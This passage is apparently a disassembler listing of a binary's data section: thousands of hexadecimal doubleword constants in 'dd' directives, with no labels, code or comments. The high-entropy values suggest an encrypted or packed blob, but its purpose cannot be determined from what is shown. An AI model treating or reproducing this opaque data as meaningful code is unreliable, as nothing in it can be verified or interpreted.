0E56EDE31h, 6E8E216Ah, 0DD5E9909h dd 0F74C1E22h, 5AAD6801h, 0FC53FA4Ch, 65766D80h, 0ACC52FD1h dd 0F37D92FAh, 32F00077h, 10CEA6Dh, 635E981h, 0DA832CA2h dd 0C0E2A357h, 0FD755E5Dh, 0AF8A18Eh, 0B5C78415h, 9CC9F01Dh dd 13529C97h, 0BB17CA68h, 2128CD6Dh, 9124FAB5h, 7D61C282h dd 45F70889h, 6BAE3F98h, 175EAFFCh, 8AEA5712h, 29BAD249h dd 272D2AC3h, 0AD36527Ah, 4A0612D4h, 0B360D8FFh, 0D928800Eh dd 0A0EB8B5Bh, 9FE9B28Ch, 409C9D3Eh, 3C626816h, 0E44A54B3h dd 1900B959h, 816C452Eh, 97F16C9h, 0DDE97D3Dh, 62CEAFD0h dd 0BAFA1C9Bh, 0A15BFDC3h, 25BA6C00h, 2611845h, 50FAE281h dd 0C0FD6828h, 35846Eh, 0BD556C73h, 717664D7h, 168D215Ch dd 4BB023E9h, 787EEF54h, 29E9E9BDh, 0DBBB02EAh, 0C236CE05h dd 659ED765h, 0EB01BF90h, 75574E6h, 95FFC329h, 0F30814h dd 12AA648Fh, 0B7B8F6E9h, 0F0BDFA46h, 0D0169D07h, 5F190504h dd 10EE18AFh, 564E07EFh, 0C266ADFFh, 76470E68h, 775C70F5h dd 39EE8380h, 4F8B8101h, 0E899860h, 5A46C4DDh, 0BB2BD5A5h dd 0D704FB49h, 0E90BFE65h, 0B07140A0h, 517E9755h, 0D75204C9h dd 95A17BFCh, 43656BE1h, 0DAF93745h, 43ED0C52h, 40E2234Ch dd 0E19DF2C4h, 4320D807h, 3BD0B7C6h, 0E180D118h, 9549E906h dd 2FE783FDh, 0C828E804h, 0CB92968h, 40B38291h, 0C07DE3D0h dd 0E7C3CBF8h, 2CE9BCDCh, 427FAFAEh, 4FAFBD6Ah, 0FCE8E6C4h dd 0D558C972h, 0F1B96FE8h, 0B189FE41h, 9CF5B6C2h, 4E3BFCDAh dd 0A1D5E458h, 707B34EFh, 0CA98579Fh, 490F033Ch, 0B8F68110h dd 132B050Dh, 0A27ED76h, 17072D81h, 0D260AE5Eh, 2C509605h dd 141D347Ah, 9D7D072Dh, 18BDC3C6h, 4FCA29C7h, 0C4E1E259h dd 0AA175485h, 2FDA4B16h, 6BC2B725h, 0A5D54755h, 68140D94h dd 0D8CB6A02h, 661BBC4h, 0F75F741Bh, 4F5104DFh, 88C22E99h dd 78765D54h, 76307FDAh, 688043BDh, 0F35E4F14h, 0B3C586Dh dd 2B04DC8h, 0DD553D61h, 56001259h, 0D826D9BEh, 0F321246Fh dd 0CBE301F3h, 600F542Ch, 0FF82E706h, 25CC4DAh, 2F3A2008h dd 9116EB31h, 1F462D1Ah, 5EB8520h, 0CACD0712h, 5F750630h dd 50AAA221h, 0F4276E44h, 0BC455DFEh, 9AF8893h, 2A22AB91h dd 0CDE1D9BDh, 61B32FCDh, 94271693h, 301029A3h, 5A025926h dd 34E9720Eh, 704C5510h, 29383F30h, 2C171AC3h, 0A54C7FC2h dd 0F88007FCh, 0A23E1205h, 30FF2435h, 49DD1F33h, 72572FC8h dd 8346BF48h, 1991DB80h, 25618300h, 15623239h, 47298C1h dd 42021C2Dh, 9584BF20h, 79F8E3AAh, 70B7F677h, 2DED04B0h dd 0BE1C5E4Fh, 6808F450h, 0F425141Ch, 40F1D9EAh, 0F30BE954h dd 0C6785EBDh, 460A81C7h, 900BD906h, 0FC39C225h, 4CE656Bh dd 0CA3811DAh, 7B681484h, 2DFE5AEEh, 1F2386Ch, 626E181Eh dd 0E82CE4E9h, 0E28B503Dh, 8083FBBBh, 4F1C531h, 0EACC5493h dd 5E163404h, 5B8F98FAh, 2CBE035Ah, 1A2D68F9h, 252D4630h dd 0E677E3D2h, 1CD6B78Dh, 396292BFh, 0EDEBD9BEh, 0D946283Ch dd 312FEE70h, 5E6DB4Dh, 4DC25EBEh, 2E120F3Eh, 0FAD2C2BDh dd 0B787C210h, 0E5D5FCB7h, 0E564B41Eh, 113F8B8Ah, 0E3B86683h dd 0C684A74Ah, 0FF07E582h, 7654C0B9h, 0C9715D7Fh, 75001202h dd 30B513C0h, 0C106FC41h, 0F3E880FBh, 7B94B737h, 21BDEE5Ah dd 8A9FA340h, 0C809848Fh, 0AB77DB2Bh, 8CA1DD7Eh, 0ADD02158h dd 68E8015Eh, 0B234D6Fh, 4698B902h, 83552EB8h, 0DDA36853h dd 7A87A54h, 22F97EB2h, 4FB99h, 0FE3D0835h, 29D0901h, 90E17DCh dd 0F695D178h, 0D1D4A75Fh, 4BC66102h, 55FB42C9h, 7027357Eh dd 0FABE303Dh, 87048DBEh, 0AF56815h, 41E90D42h, 54620EEh dd 475A9D0Bh, 0BDC104F7h, 5A32F72Ch, 0A2AD257Dh, 0DFDA4E74h dd 0BE806E52h, 0F8B1502Eh, 4DFF6693h, 2A6F051Fh, 5102A68Ah dd 0F6B3D2B5h, 6C7EC05Fh, 0EE71C033h, 14D0B626h, 165CFFA0h dd 5C7F8025h, 1B08A006h, 33FC26E9h, 17E2E409h, 1A5D028Ah dd 2B90072h, 0BE4BB28Eh, 17AB0F17h, 1F9CFBBCh, 0EDB234E9h dd 0AF7E04A6h, 80AA1757h, 44E75425h, 7849F27Dh, 5F0527BEh dd 51DF4709h, 0BD5560D4h, 0DC000B73h, 59ECB919h, 48315F80h dd 1E3E36E9h, 2E5CA4Bh, 0F1685FF8h, 4AE9024Ch, 0C0C09EABh dd 65BD07A5h, 0C45F3B35h, 4400BED0h, 2C5966B1h, 7D7EFA05h dd 2636FD37h, 2880253Ah, 0E8C13C6Eh, 0D92FE903h, 0A55BD1C2h dd 0EB814DB8h, 0A8BF59B7h, 579940EEh, 52E1BF0Fh, 7DEE38F9h dd 6DB92F1Fh, 0CF5B835Dh, 600E890Fh, 3F6BC8DBh, 0AAE74E4Eh dd 6F9FBC05h, 0B5AFE294h, 35959CE7h, 29DD4C1Eh, 0C6E7F74Ah dd 2F174C3Bh, 251FFE28h, 41246557h, 200D1595h, 9B7AB4Dh dd 54EA74C4h, 1DC5614Bh, 93D7A2EBh, 7CEAC9BAh, 54E90C00h dd 0FCB851Fh, 3FAC3D3Ah, 0FEEFC062h, 62F5D1F5h, 0F0D9B54Ch dd 3811A208h, 0F6EFD85Eh, 0C25E80FEh, 78B564F4h, 94F53D4Eh dd 0FF60ED96h, 0BCE688C3h, 1C044695h, 1EA1D77h, 604A26C1h dd 0C875DA01h, 0A4440687h, 636807DAh, 52527896h, 656C62C7h dd 5B153609h, 0AFC0C06Ch, 2298957Ah, 0FE40F59Bh, 8551BF44h dd 5588509Fh, 5FA43956h, 0AA0549AFh, 0F0AAA8B8h, 1F4EE6D1h dd 1C683h, 0AFD3CDF6h, 0F04F3106h, 0EA42C2D9h, 0B709D511h dd 947A01F4h, 0F9024A0Ah, 547FA2A1h, 1C5D2F53h, 630BF26h dd 5780F80Ah, 98680551h, 0C54E471Eh, 0CAFE8061h, 8925DC7Eh dd 2AFFDCFh, 5DACCDA0h, 96B80730h, 4A0481Dh, 28C7D025h dd 17A3F2FFh, 0B132CACh, 0B87D1206h, 8122A917h, 355ED953h dd 2CF07A4Eh, 3E1E4103h, 0B65BD2A0h, 8A348D30h, 98A82F7Ch dd 0CC0C1285h, 7325681Ch, 49F7DB41h, 1B8D4771h, 0D1D9F547h dd 0C814334h, 0CFF778C6h, 5E03F08Ch, 94A2B52Dh, 0FCDA5ECBh dd 0D8C5B417h, 0D315E7FEh, 404063EAh, 6766F137h, 1BEE2D41h dd 97D186F4h, 0CCBE9667h, 0DD3C8B64h, 20C9124Eh, 0BFD34407h dd 0B443855Eh dd 31700BEAh, 0D7005DEBh, 328D1442h, 0EEDF2DFCh, 0F3BE5E93h dd 5B5404C6h, 0D8BE1D68h, 27160185h, 2FF5537h, 20AE5F34h dd 6FD67C0h, 0E6C0265Ah, 5B46412Ah, 55BE47Bh, 36217702h dd 5FE669E9h, 0F12E6266h, 8488A26Eh, 35123D2Eh, 0D2C2E29Ch dd 0FB219716h, 8BE04047h, 0F8739D73h, 31547EA7h, 0C9D399E2h dd 21C52A74h, 830C18Dh, 8B18BF2Fh, 237A6CD8h, 0B468F89Fh dd 3E1B60EDh, 6AB2037Ah, 0DDE18103h, 0C1154726h, 952FDB8Ah dd 89F4105Dh, 45259E0Bh, 0DC943A02h, 6C424209h, 0FA054A82h dd 0A709EA85h, 0F63B5574h, 4F261620h, 89E2B988h, 4350755Bh dd 235ECE92h, 0E8B8F000h, 5D137260h, 94644A50h, 7AEC8256h dd 990D98FDh, 0AD10C069h, 0B66A4F2Dh, 123F5775h, 293D8562h dd 71605D8h, 161B2CABh, 0D56A2Fh, 45079EEAh, 0F1811C7Bh dd 57EF0905h, 0BE56AA80h, 66251C4Fh, 0B5F1F66Ch, 0D3CE047h dd 2D78D07h, 0CD2F129h, 9D74722Eh, 0EF156E82h, 0EE3A99D7h dd 0ED020A72h, 542B389Ah, 5F5A4D74h, 0B088D8F9h, 6093DF5h dd 1F02F647h, 0B1E25BDEh, 458C761h, 0AC51D3C3h, 0A0DA16A0h dd 484E64C4h, 0F500AF7Bh, 368C783Dh, 0D117DDF7h, 0D70345EDh dd 17C0129Bh, 0D0202A9Ch, 0ED369A1Ah, 0EA5D8B7h, 3BC25F62h dd 60CBF2C0h, 18C01996h, 0B0D0906Fh, 0C50E54E9h, 0C965B757h dd 6CB50809h, 8F51499Dh, 0FE2D5817h, 84EB1FC4h, 1C1CC29Bh dd 0BF0411D8h, 4E2317E3h, 0D6164F82h, 8A06263h, 0A6534303h dd 0D58F2D57h, 41EBA27Fh, 8CCDFD40h, 25CD69A7h, 715C132Ah dd 14198038h, 0A5F8C0ABh, 1317CC7Ch, 7CEC7401h, 5E060CD0h dd 34B96CE9h, 56C70925h, 44CD07C8h, 0E875F93Ah, 0B5E63C1h dd 0FA291B50h, 0E9D7CF80h, 0E4831CD3h, 2BE80589h, 0A213B507h dd 68581705h, 0FAA87D5Eh, 0EA62E1C5h, 6D5C3622h, 8AC12DDDh dd 0CF810466h, 0D7354D7Dh, 0E8B05E9h, 0B7E387E9h, 1B3BA0C0h dd 141D8095h, 0BE1E137Ch, 0D7F70C22h, 237A82DAh, 49D7648h dd 0B778E60Fh, 0EBE584FEh, 2ED15D10h, 0DFC245B2h, 7255DBBh dd 8308FAE8h, 0ABB903B7h, 80ED2613h, 1C34F3BDh, 0C11542BFh dd 37BB3160h, 0CCCBA116h, 2E414716h, 0BD68E400h, 769B41h dd 361059D0h, 0A198E5C1h, 262D79B0h, 143186Fh, 0EF524ACFh dd 0B3B1C040h, 7B287AB4h, 722727CCh, 0AE68CD98h, 1A8C7AE5h dd 72054901h, 69D810h, 0B050C2FEh, 4E8C0D0h, 2CE50C07h dd 8E56C24Ch, 549BF273h, 0C797F90Fh, 5D69463h, 640A702Eh dd 0DC28881Eh, 0A9CD6A4Bh, 72E8A2Bh, 64B06866h, 5B9F94Bh dd 0A07AE946h, 5500BBF9h, 81124A23h, 580184E3h, 0F3040F31h dd 0C09E2006h, 68A5EB13h, 0E90DDD05h, 5CD39DE6h, 0D482BAF3h dd 82FF27E6h, 7D0FA629h, 7580AF14h, 0A4D3E955h, 3420CEA1h dd 4D1A12E1h, 0EC1BA30h, 0F701AB40h, 2ADDCD0h, 9527A9B2h dd 0D8C35E04h, 0F39E2F37h, 730B0267h, 6B42AF2Bh, 6ECA2560h dd 0F25CC5CFh, 972DB2BAh, 0E9A970AEh, 90BDE3CEh, 0F4DE8842h dd 9B99C3Bh, 3DDEBC1h, 4875FD8h, 514B20B3h, 578B839h, 72154232h dd 305CA601h, 1F3E6309h, 0E389281Dh, 0A51CEC3Fh, 0BBB582B8h dd 657164B3h, 0AA21301Bh, 457BABD9h, 0ABD2BC80h, 2520C99Dh dd 852D5C3Ah, 94DCEDD2h, 3B8C01FCh, 0DFF708B7h, 0B5194F7Bh dd 3ED1DD13h, 1C38EA3Dh, 0EFA8C4D7h, 0C9D4D1B9h, 0D5FDB133h dd 0A2521017h, 0E80548E3h, 0AA44C23Ah, 74CCC4A1h, 0B383283Eh dd 92F920E3h, 3201B800h, 0C3214403h, 127CB058h, 0EA0248ABh dd 2B60D281h, 0B9EAD38h, 9E7727DBh, 80DDFC4Dh, 0C1EFF921h dd 58C96E76h, 0BADFCE6Ch, 357C8EA7h, 0AF4C9F56h, 673FC57Ch dd 207658E9h, 95719D1Eh, 0AA011603h, 0FDF09A5Dh, 2A4B65B8h dd 0E95B5C9Fh, 4DDFD3F5h, 7A324257h, 0B503170Eh, 0C4FEF649h dd 0BFB4D9F8h, 0DE98B3F1h, 0DA091A10h, 0ECEC5B5Eh, 0FD4BBB48h dd 5946110Dh, 349B7913h, 3B46C942h, 57A0CDECh, 4D17E168h dd 14107BCAh, 0C9340BCFh, 65EF8458h, 0F02D0016h, 68F20748h dd 67447D31h, 0A32AC851h, 13D81663h, 0FE0543A9h, 0AB776810h dd 25178AF4h, 40DF4D21h, 3EB9CA29h, 0E05B6310h, 0D21CE7D9h dd 0CB6C795Bh, 8EBE3203h, 66E9E0A6h, 22C20B73h, 0A408F901h dd 0B7312508h, 31072BEh, 793EDAF1h, 54E1B03Ah, 12B83045h dd 0C138AC0Ch, 0E9490B05h, 33D4E244h, 0BCCA66BFh, 9706B203h dd 0E8EE8117h, 0D3401153h, 917908B8h, 58386804h, 54253EF9h dd 8918E845h, 1A2BB8D8h, 68061C27h, 627AD3F5h, 4ED178D9h dd 69E40742h, 0E66E5FCEh, 1B5E053Fh, 8A0170E6h, 7A6913BDh dd 12FD161h, 76F04211h, 541B215Dh, 50D3AEE1h, 2D2D879h dd 0A8EF4ED1h, 259C069Dh, 240C0E29h, 2C15D075h, 98589B88h dd 717E148h, 176D3AA3h, 75A903B2h, 0AC720325h, 55510043h dd 9E388A68h, 0C041BC6Dh, 0F90DABE5h, 0F5002A76h, 7DB0534Bh dd 0D5DE989h, 5259CB21h, 0AFB0150Ch, 66802A85h, 98C620Eh dd 7AC6684Fh, 8625876h, 6F78FE6Ch, 8100E328h, 8C449DC3h dd 0F3292658h, 0B10820F0h, 7CC20C55h, 0EC03F32Dh, 0F7579559h dd 8CC9E9DBh, 51C51B80h, 89202F1Bh, 848AEB4Bh, 0D255292Ch dd 91010B70h, 0E938D70Ch, 0E240E325h, 0E6DAC380h, 258C7BEBh dd 80E75ADDh, 53E6F7A5h, 8B0BD25Fh, 0C6E15F5Fh, 10BC7B7Eh dd 3765C481h, 3FD8AE10h, 33915D25h, 5D403FAEh, 0A26A69F3h dd 0A444C836h, 5FFB0105h, 49909201h, 0E53A0613h, 1C0806B0h dd 17AA549Dh, 27CDFF5Eh, 5C8168D0h, 51C2C255h, 0A484D588h dd 649CAFA8h, 8D40B556h, 75E6B32h, 5E70C00h, 90274558h dd 0FA8800FCh, 0FE89F561h, 9A5A84E9h, 0F15B08F6h, 119C6AA6h dd 8B673B78h, 0B1684904h, 53138C57h, 61F2BB05h, 800178A1h dd 63E47139h, 0F87077FEh, 0BB5E9D09h, 9EE4044Ah, 87143B1Eh dd 12D3CE15h, 0AE75530Dh, 0AF93A2B3h, 25686E28h, 4E186BE8h dd 0E9836434h, 0F7C21F9Eh, 0D4CB8659h, 0AD34E2AFh, 5B95E666h dd 16F02C21h, 822E85BFh, 56D107B9h, 6B2C1E88h, 29679255h dd 68EF5FCAh, 0F342C0A6h, 78249006h, 285EB129h, 6136467h dd 98EA1639h, 8FBE5F55h, 0D17BD01h, 0B27B3F77h, 6DFD5E85h dd 8A86E909h, 688976D9h, 4B0DEC30h, 0C0778802h, 19C64D17h dd 0F70B00BEh, 62FB0DD8h, 2D3B4BE6h, 6BB58454h, 7E824D35h dd 77F455A0h, 8DC37DA5h, 2DC1D1CAh, 0EEBB64E7h, 3352750Eh dd 2E6C92Ch, 0C4377E4Fh, 365A0B5Eh, 0AB659704h, 0FBA5E906h dd 0CF010444h, 0CD3EF268h, 5A87204Ah, 601A7B19h, 992E492Ah dd 43B9E8DEh, 6CEF30BEh, 0EC511702h, 1984B739h, 0B5AB8729h dd 2BDFE5E7h, 285D594Ch, 42C8BD02h, 0AE270BDFh, 24EAF965h dd 62E6522Ch, 0B0DEE913h, 257ABFF6h, 7274CA71h, 0ABF80B4Fh dd 0B76558ECh, 0D84D3F60h, 41E98296h, 0ABFC026Ah, 59B8CBE0h dd 90CB44FFh, 0D29B7318h, 7A19F967h, 0FE76610Fh, 70EF5C30h dd 9EFD95F3h, 9596976Ch, 0E697F679h, 0D681604h, 0A4176102h dd 5BBA2674h, 0C94A3DB6h, 522E92D1h, 0AB2764AAh, 0AE101CDAh dd 4FF41E3h, 0C7D4FFCAh, 482087ACh, 0EFE894Bh, 93A43D5Fh dd 54E9C4F3h, 13399EBh, 0D380F806h, 0AD3B151h, 0B0508805h dd 950A12FBh, 0B1C0ABC0h, 2EBE6079h, 0D49313Bh, 467F922h dd 4780FEC0h, 49D96FC7h, 0CE01602Bh, 2CF173E9h, 7641C64Eh dd 0FCF2C7F3h dd 4257697Fh, 3CCD45A6h, 6535211Ch, 84A0E05Dh, 57402D2Fh dd 2D072208h, 30984F68h, 5B346681h, 0A9ECA034h, 0F2C7AC0Bh dd 0B94A4BB2h, 6CE9B063h, 3E69BD10h, 49AB5174h, 78CDF591h dd 0D6BA5166h, 1285848Ah, 0D6C4BBC2h, 0EB96FBF9h, 0DCE9AFD1h dd 4B7AB37Fh, 0B8075DC8h, 0EC7D3036h, 2D0B3558h, 0DC31C927h dd 2E9AACC3h, 92661EC8h, 49CB8AD1h, 42A4CB72h, 0B84D57D3h dd 0A34AB328h, 0ECE2A641h, 8DED9B19h, 0E782466Eh, 0F8272B4Bh dd 0E556D6A2h, 49D0E9BDh, 43E90C9Fh, 4DF6311Ch, 0EF0763DEh dd 2EA12276h, 0A3CDF7C0h, 7B5636Bh, 28AB23A4h, 1328A06Fh dd 0F1247D02h, 71F529F6h, 22FAAD36h, 0E5D3F20Fh, 952CF01h dd 99A775Ah, 26AF846Dh, 0BD97AB09h, 750CF059h, 44BAED1Dh dd 0C2AA7637h, 40C6C560h, 43096D24h, 5875F700h, 0D2E80144h dd 25C097Ch, 63E671F5h, 587E1E54h, 0BCF0394Bh, 402A41F1h dd 0E8BF3697h, 0D0898B13h, 258184A2h, 884B5F9Fh, 27C8A448h dd 0E6F1CC78h, 0CA2815FEh, 0C14FF578h, 0D45DB309h, 0C5A7BD7h dd 0B492B6B6h, 8DA81E94h, 4317BA52h, 0A2005E66h, 40338E2h dd 83BDA36Ch, 55C9B702h, 31E92A18h, 64CB164Dh, 6802FCF6h dd 3BD444FBh, 445BD62h, 923AAC5Fh, 0EB4EA5A8h, 0C6F798Fh dd 72BFF120h, 0E1FE731Fh, 5A7E7A0Bh, 6239802Eh, 0B50D0C87h dd 0CE89B6E0h, 86DB67B5h, 6C46ADE9h, 7AFDBB05h, 92EF2EFEh dd 5AF7C393h, 193A36B9h, 93F27FA7h, 0CAC90F65h, 0B73624FAh dd 1CE9C2E5h, 0CFFE5DB4h, 0A1DD6870h, 60345FB6h, 0E2140E98h dd 10D22972h, 580B0898h, 4904FE01h, 25A0149Fh, 0EB80C304h dd 8BA2E9FAh, 0FCEF1B81h, 0EC48C473h, 16C027E7h, 80A2B652h dd 28A80EEEh, 1C735AF1h, 34FB39E2h, 810607C3h, 6A72BC3Bh dd 14C8F1ADh, 7DB0109Ah, 8BCF2D7Eh, 0BF03D821h, 21810EB2h dd 30AC1251h, 544A9E3h, 6CED09C1h, 3AF45F19h, 7B9008A0h dd 0F7581A63h, 0E5044CDDh, 3BF5C410h, 79253054h, 1244486h dd 52D0F601h, 838AC288h, 77E90512h, 0D6A705ECh, 0D57FB11h dd 900DD298h, 0B32E5F74h, 965CA7EAh, 1976C103h, 0B81DE936h dd 0E8D442Bh, 0D33AAC92h, 930FF6ABh, 282E47B1h, 0C574E957h dd 66B91095h, 55772F68h, 5B4025D4h, 0B65494E9h, 85BA4017h dd 1512114Fh, 47B9EA83h, 6F53E90Bh, 30836B9Ah, 0EE5ADC46h dd 0B9E97CEFh, 0D906F105h, 0BB0D4101h, 0B7210FF0h, 42AAE57Fh dd 93D4837Dh, 0E22B8F71h, 0CD384FBh, 6C88024Dh, 7F9EC47Fh dd 0E502305Ah, 98FDCBDFh, 50E4BBC5h, 3F0908FEh, 14271C57h dd 2DF6F77h, 0FEDBCBE9h, 540963F1h, 56DD855Ah, 0C8B83940h dd 176EBE0Eh, 432064E9h, 0C7FE5805h, 0F780040Eh, 5BF807EFh dd 0CC04D805h, 84185893h, 530160B2h, 0CF8685B7h, 984D1F6h dd 0D181E9DFh, 6B305A93h, 0C074D5C7h, 0A124B483h, 69202E6h dd 8FBA0205h, 47E1F030h, 0BBF04C8h, 382955E4h, 5F2FA45Ch dd 0D396731Ch, 7C20A0AFh, 0A010135Eh, 273A2208h, 0F72F2301h dd 4D0C6C8Ah, 2B1C0910h, 0D6EB3D4Eh, 0F503F088h, 0AFF51435h dd 0EAD2C42Bh, 9FB4B337h, 6A93C9ABh, 0A893BDB7h, 0A7BAB40Ch dd 0B4E91F7Fh, 0ECE4FCADh, 8C2708AFh, 17835651h, 0D455B159h dd 1691DAD2h, 7DB896BEh, 3C48A6CEh, 8E5A167Ah, 6E57001Fh dd 42467361h, 60428395h, 191AFEABh, 5E51DB7Dh, 53C32CAh dd 28668D6h, 0FCDC360h, 0A8035BF1h, 0DE052726h, 0B060A7E2h dd 7F82A712h, 3BC7FE0h, 40B9E680h, 0EAD3C619h, 2B1FA1AAh dd 0CAAFA9E1h, 54D06FDEh, 0F2C6A35Fh, 4F065C85h, 21B7DECEh dd 3B545387h, 5FD30ADCh, 0D67EA25Ah, 0C9A81A12h, 93F9FAB4h dd 0F37D6813h, 0FABC5E27h, 0DAF751A2h, 0B8FD9DCFh, 4EEFE9E6h dd 0ECDDDD6Dh, 0D9B72DC0h, 0CE860844h, 5F7B3500h, 9C09271Eh dd 7F6C847Eh, 2D76FC7Eh, 58BADD59h, 2DD5CEFDh, 30CE0595h dd 33D54195h, 4A153574h, 475534BBh, 1223689Bh, 86444084h dd 0EF12294Eh, 0A00B64FBh, 0BF6257C3h, 0C1280B26h, 612E7DB3h dd 3A6B324Dh, 850944E9h, 4DC680EBh, 4482DC4Bh, 3E1B5753h dd 4E6681FDh, 0A2A96CD5h, 64EE7875h, 0BA51162Ch, 68046B1Dh dd 4B8D5362h, 0CF18A02Eh, 552943C9h, 0F3BDD8F0h, 0A10D92CBh dd 0AA617ADBh, 0F73895D9h, 5FF8D6h, 0DC07CDBh, 587DB235h dd 4A7D4C9Eh, 3E378A1Eh, 0DF978F56h, 7AACD7FEh, 8B5E04A5h dd 77BB0992h, 66F4EA58h, 58F36EEBh, 4A8CAB93h, 28646CB8h dd 560E780h, 73763749h, 0A592B592h, 7888D457h, 0EA975775h dd 0B8E05F19h, 5D313AF3h, 1CE20C14h, 272127E4h, 5DF25AD5h dd 46864567h, 89134200h, 416090E9h, 5DB06E76h, 7729B2Dh dd 0B4332943h, 10CBB048h, 0FBF654E3h, 7216692h, 0A9D1E758h dd 52E9F75Ch, 136F4FE6h, 5F6CAF71h, 87822AE9h, 17CEC84h dd 0B9517A53h, 30E30138h, 390EC133h, 0A7132350h, 9A2208E9h dd 0F45EE643h, 17A19AA8h, 0E6F20159h, 10FE8BB9h, 83D818EAh dd 0F807522Dh, 46AC1D4h, 6BAF76DDh, 0B48F49B0h, 166805DCh dd 298DFF33h, 5EBD457Eh, 0F5C8BB21h, 0F74B5E26h, 0B4942AE5h dd 0D75DDEEAh, 1CCD1DDFh, 0FD211442h, 0F4CE805Fh, 195918Bh dd 9962F72Dh, 70E80104h, 651F79DFh, 0DB0964BDh, 2740024Bh dd 6A325481h, 0DDB789F6h, 62BACFF9h, 0B069B6BBh, 3E593DEEh dd 0C3A5154Bh, 0BA0E609Ah, 5AAA6302h, 9172CDEh, 80B564ECh dd 2B0C17AAh, 10B7F58h, 18932970h, 62874E9h, 0DF315D0Eh dd 5308FB4Ch, 26D2F2B5h, 0E2325871h, 940B12D0h, 5A1DFC30h dd 0F6A9D0ECh, 37BC433h, 58EFE459h, 32E4E5DFh, 0FEE320E8h dd 0D4BAC14Ah, 8445BA50h, 97085752h, 0CD310D1Dh, 0AC802EEAh dd 601B1E78h, 6D55E402h, 0C8805187h, 425F2F09h, 3DB7047Dh dd 0EC5A17B0h, 54849FA6h, 5834C04Fh, 3E072968h, 8E558525h dd 67DD2DE0h, 0E9020974h, 0FC640E90h, 0B9F28012h, 2C13C0BFh dd 56492AE9h, 0D6C81B16h, 49560063h, 2D253A1Ah, 8A2DCCEDh dd 397C56E4h, 4D175CC4h, 28C540AFh, 48AB88FFh, 0E1688340h dd 0FE58132Eh, 9D4F038Fh, 2F2C7F6Ch, 0DFBD0555h, 0EB42B537h dd 0A8A89D5Eh, 5F142F25h, 0DDD912B3h, 5A808E17h, 0FB5FD42h dd 32F6C64Fh, 0C88EE4BEh, 7F355063h, 14B505FDh, 0AE51C91Dh dd 0C11ABE20h, 0E9E84FECh, 779A0949h, 0EDB9A5DBh, 0C1590701h dd 883B07E5h, 68135AF4h, 0A4633A52h, 0BEB363F4h, 28143D09h dd 12D48864h, 0A97B582h, 0BFA01388h, 5DDB5BCCh, 0BE02D2DEh dd 0E515A78h, 1394FA77h, 0ED421EE9h, 2F73C9Ch, 8915B5BEh dd 0EAD280FAh, 795E5055h, 7B6DB82Ch, 9766BE29h, 55FC425Bh dd 0CBCB19E9h, 2A315ED1h, 21603CAEh, 270453BFh, 0A5E48E78h dd 2BB94DF9h, 51D1ACB5h, 0BC3A5ED9h, 0BE78816h, 7884DAF7h dd 64A0B3Eh, 9A835085h, 5AD8124h, 2F78CF21h, 16E86809h dd 20BE1C7Fh, 0ACF43444h, 395C4E1Eh, 0B3E4E38Bh, 0B580125Dh dd 16FECCBh, 0E95305EDh, 0CA291DB6h, 45DD33DAh, 27A124D6h dd 0E9788156h, 0F90B4A4Fh, 57189A3Fh, 892C74E7h, 296A4C0Eh dd 0E0F747Eh, 0D9B25F08h, 5B110140h, 576A938Bh, 0E9BCF1FCh dd 51BDB375h, 49DDA57Fh, 4861F4FBh, 5FDB4E28h, 817B56E9h dd 809CB534h, 0C5CC87E5h, 506CB96h, 50E03FD0h, 20AD1CB5h dd 0F79DEF11h, 0EA4A0212h, 80DF73D7h, 42206855h, 62BA1DBAh dd 45BDE419h, 0BC7FEE54h dd 1AE90AD9h, 8481EC07h, 179800Ch, 0C2403771h, 4B746520h dd 3AFEE67Bh, 7DE8CECDh, 29804CC0h, 62FCF031h, 0EAAAA695h dd 0B892402Ah, 0F4E4C0Fh, 0E7BB4547h, 2A148E44h, 54C57EFCh dd 4924EFF2h, 0ECEC96B1h, 86E69F1Dh, 1BB1D8F2h, 5F496862h dd 0DFE93498h, 25AA2B5h, 0AB3F2267h, 0E05B6602h, 0E134EB46h dd 0DFDEA520h, 54530B61h, 0E9C19BE5h, 0D549025Dh, 0D02887DDh dd 1706BD00h, 16BF188Fh, 0E9510BC2h, 455AC937h, 9DD286D8h dd 0D0031E4h, 1FC45F7Eh, 3D4A8B05h, 30EB0FDh, 4829250Ah dd 0F3806609h, 50E9146Fh, 0F3773162h, 0DFA9725Eh, 0B1C5D6C1h dd 42036ACCh, 8723B252h, 5A015469h, 73FFB002h, 2390CF44h dd 0AF329E2Fh, 5D17CBFFh, 7FD1EDB3h, 0CCA75127h, 7AC10457h dd 0B630EAC0h, 4462BDC7h, 20B8CC77h, 44AA4E52h, 8A98ED7Dh dd 0CEE30E94h, 580F203Ch, 246DF580h, 4EECBDEAh, 1F4FE9ACh dd 0E2C1DB03h, 0F7DAE003h, 9708DFD3h, 0ECFC85BAh, 0E8C317D7h dd 0D5F2C237h, 422F5DF7h, 7BDE6C8h, 49745ECDh, 304AAB2h dd 10B9ABB4h, 0F09D7E62h, 9030843h, 10E18064h, 6468583h dd 35F3FB02h, 411E5060h, 61C0422Fh, 970792D2h, 59F73842h dd 0E0B1A41Eh, 6A0E972h, 2DE04EBFh, 4C15D031h, 2D52689Fh dd 0B5B01FB4h, 0FC801492h, 226FFDEAh, 0D1896416h, 17EB8713h dd 0D92DEF8Bh, 249B982Ah, 53816344h, 563FE403h, 0F4589D17h dd 2BDF089h, 60CE873Ch, 27622747h, 0D058DF84h, 58BBAC20h dd 0ED4FB009h, 1CC20220h, 7E7D0186h, 0E4832A9h, 0BD074270h dd 2D3E3C14h, 0ABB863A4h, 6AD95827h, 211DF8E9h, 0B08F3439h dd 889405A7h, 4F68BE9Ch, 0B7B23063h, 0C7048099h, 5BF82885h dd 0B507628Bh, 0FCB753DCh, 0B14FE922h, 2AA12613h, 5F006968h dd 2103E38Bh, 29F59CDh, 7D752DE5h, 5C5EDA6Eh, 318296B6h dd 0D6050C3h, 3A1840A7h, 61708903h, 1A028373h, 0B694E559h dd 0EA20231h, 0BEBAF375h, 0A8DCF217h, 108E9088h, 52895C2Fh dd 0AF2EA685h, 12E5BACDh, 0EBC0137Bh, 9253A3C4h, 93ECE6BBh dd 41CB1F98h, 7F807E71h, 254F7230h, 7DE0C13Dh, 6771D9C3h dd 0BAB44C5Eh, 0FCAA4F3Bh, 0A788A1A2h, 4D376800h, 2C541897h dd 0E4429E56h, 4C444B4Dh, 992020DEh, 80EAD00Bh, 0A9CD0EE2h dd 0BF14DDC6h, 860EC349h, 205A665Ah, 0D6B5D34Bh, 9B602C6h dd 31D40D52h, 41EB0692h, 826D7B0Eh, 171A3B54h, 5A84A0D6h dd 45BDD05h, 6A6841D8h, 0BE9E9813h, 0E819C109h, 0C087F07Bh dd 81798E12h, 3573E90Fh, 